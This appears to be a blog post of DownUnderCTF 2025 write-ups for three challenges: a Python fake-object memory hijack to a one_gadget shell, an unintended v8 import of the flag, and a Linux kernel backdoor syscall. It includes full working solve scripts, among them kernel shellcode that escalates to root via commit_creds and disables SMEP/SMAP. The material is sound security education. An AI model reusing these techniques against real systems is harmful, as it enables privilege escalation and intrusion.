Post

DownUnderCTF 2025

fakeobj.py

Description

Dear VulnX,

send me your best fake snake object

Regards,

joseph

AU: nc chal.2025.ductf.net 30001

US: nc chal.2025-us.ductf.net 30001

Attachments: fakeobj.py Dockerfile

Analysis

The challenge is very short, only one simple python file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3

import ctypes

obj = {}
print(f"addrof(obj) = {hex(id(obj))}")

libc = ctypes.CDLL(None)
system = ctypes.cast(libc.system, ctypes.c_void_p).value
print(f"system = {hex(system or 0)}")

fakeobj_data = bytes.fromhex(input("fakeobj: "))
for i in range(72):
    ctypes.cast(id(obj), ctypes.POINTER(ctypes.c_char))[i] = fakeobj_data[i]

print(obj)
  • It creates an empty dictionary obj
  • Leaks:
    • address of obj
    • a libc address ( system )
  • Takes hex input and stores the first 72 bytes in the address of obj, basically allowing us to forge a fake dict
  • Finally it goes on to print the dict

This is very limited and we have to be clever to achieve RCE.

Exploit

From what I know, whenever you print any variable in python, it interally calls the associated __str__() function to handle how the variable needs to be formatted (or if the user has defined a custom formatter for the same).

So there has to be a vtable inside the obj structure. We will try to overwrite its __str__ entry to something like a one-gadget and hijack control.

This was my first time venturing into python internals. I started by compiling python3 with debug symbols, and used it to inspect the obj in memory. It looks something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> p *(PyDictObject *)0x7ffff707af90
$1 = {
  ob_base = {
    {
      ob_refcnt = 1,
      ob_refcnt_split = {1, 0}
    },
    ob_type = 0x7ffff7e4aca0 <PyDict_Type>
  },
  ma_used = 0,
  ma_version_tag = 3433728,
  ma_keys = 0x7ffff7d54120 <empty_keys_struct>,
  ma_values = 0x0
}

The ob_type field specifies what type of object this is, in our case it’s a PyDict_Type. PyDict_Type has many fields, the only interesting one for us is tp_str

1
2
3
4
5
6
7
8
9
pwndbg> ptype/o PyDict_Type
type = struct _typeobject {
/*      0      |      24 */    PyVarObject ob_base;
...
/*    136      |       8 */    reprfunc tp_str;
...
                               /* total size (bytes):  416 */
                             }

and it’s at +136 offset.

So basically if we fake the dict in a way such that the ob_type field + 136 points to a one_gadget, it should be game over.

Now is a good time to consider which one_gadgets are feasible. I personally only found one to be useful:

1
2
3
4
5
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

So here is the final solve script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3

from pwn import *

context.arch = 'amd64'
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")
context.terminal = [ 'tmux', 'splitw', '-h' ]

gs = '''
brva 0x170f40
c
'''

io = remote("chal.2025.ductf.net", 30001)

io.recvuntil(b'addrof(obj) = ')
obj = int(io.recvline().strip(), 16)
io.recvuntil(b'system = ')
system = int(io.recvline().strip(), 16)
log.info(f'{hex(obj) = }')
log.info(f'{hex(system) = }')

print(io.clean().decode())
payload = flat({
	0: [
		1,                                    # original
		obj + 64 - 136,                       # fake
		0,                                    # original
		0x346700,                             # original
		system + 0x6f0d20,                    # original
		0,                                    # original
		0xfdfdfdfdfdfdfdfd,                   # original
		0                                     # original
	],
	64: system - libc.sym.system + 0xebc88, # one_gadget
})
payload = payload.hex().encode()
io.sendline(payload)

io.interactive()

entangled

Description

Dear VulnX,

What will you do now that you are not so isolated?

Regards,

grub

AU: nc chal.2025.ductf.net 30003

US: nc chal.2025-us.ductf.net 30003

Attachments: entangled.tar

Analysis

I will be honest, I have no experience in v8 exploitation so I don’t even know where to begin. But what I do know is that this challenge has several “unintended” solves.

Exploit

1
import('/chal/flag.txt');

Yeah that’s it! 😅


backdoor

Description

Dear VulnX,

Can you escape the void in my backdoor? Creds are ctf:ctf

Regards,

toasterpwn

AU: nc chal.2025.ductf.net 30005

US: nc chal.2025-us.ductf.net 30005

Attachments: backdoor.tar.gz

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
diff --git a/arch/x86/entry/syscalls/syscall_64.tbl b/arch/x86/entry/syscalls/syscall_64.tbl
index cfb5ca41e30d..bd5aa1866fc7 100644
--- a/arch/x86/entry/syscalls/syscall_64.tbl
+++ b/arch/x86/entry/syscalls/syscall_64.tbl
@@ -391,6 +391,7 @@
 465	common	listxattrat		sys_listxattrat
 466	common	removexattrat		sys_removexattrat
 467	common	open_tree_attr		sys_open_tree_attr
+1337	common	backdoor		sys_backdoor
 
 #
 # Due to a historical design error, certain syscalls are numbered differently
diff --git a/arch/x86/kernel/Makefile b/arch/x86/kernel/Makefile
index 0d2a6d953be9..27270eb0fee9 100644
--- a/arch/x86/kernel/Makefile
+++ b/arch/x86/kernel/Makefile
@@ -48,6 +48,7 @@ CFLAGS_head32.o := -fno-stack-protector
 CFLAGS_head64.o := -fno-stack-protector
 CFLAGS_irq.o := -I $(src)/../include/asm/trace
 
+obj-y			+= backdoor.o
 obj-y			+= head_$(BITS).o
 obj-y			+= head$(BITS).o
 obj-y			+= ebda.o
diff --git a/arch/x86/kernel/backdoor.c b/arch/x86/kernel/backdoor.c
new file mode 100644
index 000000000000..0f766f483503
--- /dev/null
+++ b/arch/x86/kernel/backdoor.c
@@ -0,0 +1,80 @@
+#include <linux/kernel.h>
+#include <linux/highmem.h>
+#include <linux/set_memory.h>
+#include <linux/gfp.h>
+#include <linux/syscalls.h>
+#include <linux/uaccess.h>
+#include <linux/mm.h>
+
+static void (*backdoor_func)(void);
+
+SYSCALL_DEFINE2(backdoor, void __user *, user_shellcode, size_t, size) {
+    void* sc = NULL;
+    void* page = NULL;
+    if (size > PAGE_SIZE) return -EINVAL;
+
+     page = alloc_pages(GFP_KERNEL, 0);  // order 0 = 1 page
+    if (!page)
+        return -ENOMEM;
+
+    sc = page_address(page);
+    if (!sc)
+        return -EFAULT;
+
+    // Set the page to RWX (unsafe, but for CTF)
+    if (set_memory_rw((unsigned long)sc, 1))
+        return -EFAULT;
+    if (set_memory_x((unsigned long)sc, 1))
+        return -EFAULT;
+
+    if (copy_from_user(sc, user_shellcode, size)) {
+        return -EFAULT;
+    }
+
+    mb();
+
+    backdoor_func = sc;
+
+    asm volatile(
+        "xor %%rax, %%rax\n\t"
+        "xor %%rbx, %%rbx\n\t"
+        "xor %%rcx, %%rcx\n\t"
+        "xor %%rdx, %%rdx\n\t"
+        "xor %%rsi, %%rsi\n\t"
+        "xor %%rdi, %%rdi\n\t"
+        "xor %%rbp, %%rbp\n\t"
+        "xor %%r8,  %%r8\n\t"
+        "xor %%r9,  %%r9\n\t"
+        "xor %%r10, %%r10\n\t"
+        "xor %%r11, %%r11\n\t"
+        "xor %%r12, %%r12\n\t"
+        "xor %%r13, %%r13\n\t"
+        "xor %%r14, %%r14\n\t"
+        "xor %%r15, %%r15\n\t"
+        "xor %%rsp, %%rsp\n\t"
+
+        "fninit\n\t"
+        "pxor %%xmm0, %%xmm0\n\t"
+        "pxor %%xmm1, %%xmm1\n\t"
+        "pxor %%xmm2, %%xmm2\n\t"
+        "pxor %%xmm3, %%xmm3\n\t"
+        "pxor %%xmm4, %%xmm4\n\t"
+        "pxor %%xmm5, %%xmm5\n\t"
+        "pxor %%xmm6, %%xmm6\n\t"
+        "pxor %%xmm7, %%xmm7\n\t"
+        "pxor %%xmm8, %%xmm8\n\t"
+        "pxor %%xmm9, %%xmm9\n\t"
+        "pxor %%xmm10, %%xmm10\n\t"
+        "pxor %%xmm11, %%xmm11\n\t"
+        "pxor %%xmm12, %%xmm12\n\t"
+        "pxor %%xmm13, %%xmm13\n\t"
+        "pxor %%xmm14, %%xmm14\n\t"
+        "pxor %%xmm15, %%xmm15\n\t"
+
+        "jmp *%c[func]\n\t"
+        :
+        : [func] "i" (&backdoor_func)
+        : "memory"
+        );
+    return 0;
+}
diff --git a/include/linux/syscalls.h b/include/linux/syscalls.h
index e5603cc91963..d0fb21bd1b62 100644
--- a/include/linux/syscalls.h
+++ b/include/linux/syscalls.h
@@ -1321,3 +1321,4 @@ int __sys_getsockopt(int fd, int level, int optname, char __user *optval,
 int __sys_setsockopt(int fd, int level, int optname, char __user *optval,
 		int optlen);
 #endif
+asmlinkage long sys_backdoor(void __user *user_shellcode, size_t size);
  • Basically, this challenge adds a new backdoor system call with number 1337 to the kernel
  • It allocates a page
  • Markes it as RWX
  • Copies upto 0x1000 bytes of shellcode from userspace to the kernel page
  • Clears all registers, and jumps to the start of the kernel shellcode

  • The basic idea of this challenge is that it allows RCE in the kernel
  • But locks us in a void without any registers to pivot around memory

Now, it’s technically not possible to clear all registers, for example in this case $RIP still holds the page address.

Exploit

We can use $RIP to jump to nearby memory locations and get kbase leak.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
shellcode:
	cli
	lea rax, [rel shellcode]
	sub rax, 8
	mov rbx, 0xffffffff00000fff
	mov rcx, 0xffffffff00000ae0
	mov rdx, 0xffffffff00000ac0
check:
	mov r8, qword [rax]
	and r8, rbx
	cmp r8, rcx
	jne check_again
	sub rax, 8
	mov r8, qword [rax]
	and r8, rbx
	cmp r8, rdx
	jne check_again
	mov rax, qword [rax]
	sub rax, 0x47aac0
	...
check_again:
	sub rax, 8
	jmp check

The cli instruction is to disable preemption by the kernel, otherwise it results in an ugly crash.

Once we have the kbase in $RAX, we can call commit_creds(init_creds) to escalate to root

1
2
3
4
5
6
7
8
9
10
	lea rsp, [rel shellcode]
	add rsp, 0x500
	mov rbx, rax
	add rbx, 0x1a54c60
	mov rdi, rbx ; init_cred
	mov rbx, rax
	add rbx, 0x3298f0
	push rax
	call rbx ; commit_creds
	pop rax

Now we can make a clean return to userland by doing a classic swapgs followed by iretq with the userspace register state on the stack.

I have saved the registers before executing the kernel shellcode, but it is saved in userspace memory locations:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_start:
	; save state
	mov rax, cs
	mov [saved_cs], rax
	mov rax, ss
	mov [saved_ss], rax
	mov rax, rsp
	mov [saved_sp], rax
	pushf
	pop rax
	mov [saved_rflags], rax

	mov rax, 1337
	lea rdi, [rel shellcode]
	mov rsi, 0x1000
	syscall

Accessing these values in the kernel will trigger a crash because of SMAP. But guess what? We are already in the kernel shellcode, so we can just disable SMEP and SMAP by clearing those flags in $CR4 register. Now we can directly access the userspace memory to fetch those saved registers:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
	mov rbx, cr4
	xor rbx, 0x300000
	mov cr4, rbx
	mov rbx, 0
	mov qword [rsp+0], rbx
	mov qword [rsp+8], rbx
	mov rbx, win
	mov qword [rsp+16], rbx
	mov rbx, [saved_cs]
	mov qword [rsp+24], rbx
	mov rbx, [saved_rflags]
	mov qword [rsp+32], rbx
	mov rbx, [saved_sp]
	mov qword [rsp+40], rbx
	mov rbx, [saved_ss]
	mov qword [rsp+48], rbx

Since KPTI is also enabled, we need to take care of it as well. Popularly, there are 2 ways to tackle it:

  1. Signal handlers
  2. KPTI trampoline

Usually, I go for signal handlers since they are easier to setup in C, but here I am writing my entire exploit in assmebly, this makes it very hard to register handlers, hence I chose to go for KPTI trampoline

1
2
3
	mov rbx, rax
	add rbx, 0x1637 ; swapgs_restore_regs_and_return_to_usermode+103
	jmp rbx

Finally the win function is defined like this:

1
2
3
4
5
6
7
8
win:
	mov rax, 90 ; sys_chmod
	lea rdi, [rel flag_path]
	mov rsi, 0x1ff
	syscall
	mov rax, 60 ; sys_exit
	mov rdi, 0
	syscall

It’s an extremly simple chmod("/flag.txt", 0777) wrapper to make the flag readable by us.

So here is the final solve script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
; compile with
; $ nasm -f elf64 solve.asm
; $ ld -o solve solve.o
; $ upx solve
section .text

global _start

_start:
	; save state
	mov rax, cs
	mov [saved_cs], rax
	mov rax, ss
	mov [saved_ss], rax
	mov rax, rsp
	mov [saved_sp], rax
	pushf
	pop rax
	mov [saved_rflags], rax

	mov rax, 1337
	lea rdi, [rel shellcode]
	mov rsi, 0x1000
	syscall


shellcode:
	cli
	lea rax, [rel shellcode]
	sub rax, 8
	mov rbx, 0xffffffff00000fff
	mov rcx, 0xffffffff00000ae0
	mov rdx, 0xffffffff00000ac0
check:
	mov r8, qword [rax]
	and r8, rbx
	cmp r8, rcx
	jne check_again
	sub rax, 8
	mov r8, qword [rax]
	and r8, rbx
	cmp r8, rdx
	jne check_again
	mov rax, qword [rax]
	sub rax, 0x47aac0
	nop
	lea rsp, [rel shellcode]
	add rsp, 0x500
	mov rbx, rax
	add rbx, 0x1a54c60
	mov rdi, rbx ; init_cred
	mov rbx, rax
	add rbx, 0x3298f0
	push rax
	call rbx ; commit_creds
	pop rax
	mov rbx, cr4
	xor rbx, 0x300000
	mov cr4, rbx
	mov rbx, 0
	mov qword [rsp+0], rbx
	mov qword [rsp+8], rbx
	mov rbx, win
	mov qword [rsp+16], rbx
	mov rbx, [saved_cs]
	mov qword [rsp+24], rbx
	mov rbx, [saved_rflags]
	mov qword [rsp+32], rbx
	mov rbx, [saved_sp]
	mov qword [rsp+40], rbx
	mov rbx, [saved_ss]
	mov qword [rsp+48], rbx
	mov rbx, rax
	add rbx, 0x1637 ; swapgs_restore_regs_and_return_to_usermode+103
	jmp rbx

check_again:
	sub rax, 8
	jmp check

win:
	mov rax, 90 ; sys_chmod
	lea rdi, [rel flag_path]
	mov rsi, 0x1ff
	syscall
	mov rax, 60 ; sys_exit
	mov rdi, 0
	syscall

section .data
	saved_cs dq 0
	saved_ss dq 0
	saved_sp dq 0
	saved_rflags dq 0

	flag_path db "/flag.txt", 0

And to upload to remote:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from gzip import GzipFile
from io import BytesIO
from tqdm import tqdm

# Edit these
host = 'chal.2025.ductf.net'
port = 30005

def chunk_exploit(exploit):
    for i in range(0, len(exploit), 100):
        yield exploit[i:i+100]

exploit = BytesIO()
with open('./solve', 'rb') as f_in:
    with GzipFile(fileobj=exploit, mode='wb') as f_out:
        f_out.write(f_in.read())
exploit = exploit.getvalue()
exploit = b64e(exploit)

# io = process('./run_challenge.sh')
io = remote(host, port)

print('waiting for vm to load')
io.recvuntil(b'Welcome to Buildroot')
io.sendlineafter(b'buildroot login: ', b'ctf')
io.sendlineafter(b'Password: ', b'ctf')
io.recvuntil(b'$')
chunks = list(chunk_exploit(exploit))
for chunk in tqdm(chunks, desc="Uploading exploit", unit="chunk"):
    io.sendline(f'echo -n "{chunk}" >> exploit.gz.b64'.encode())
    io.recvuntil(b'$')
io.sendline(b'base64 -d exploit.gz.b64 > exploit.gz')
io.sendline(b'gunzip exploit.gz')
io.sendline(b'chmod +x exploit')
io.clean()
io.sendline(b'./exploit')
io.sendline(b'cat /flag.txt')
io.interactive()
This post is licensed under CC BY 4.0 by the author.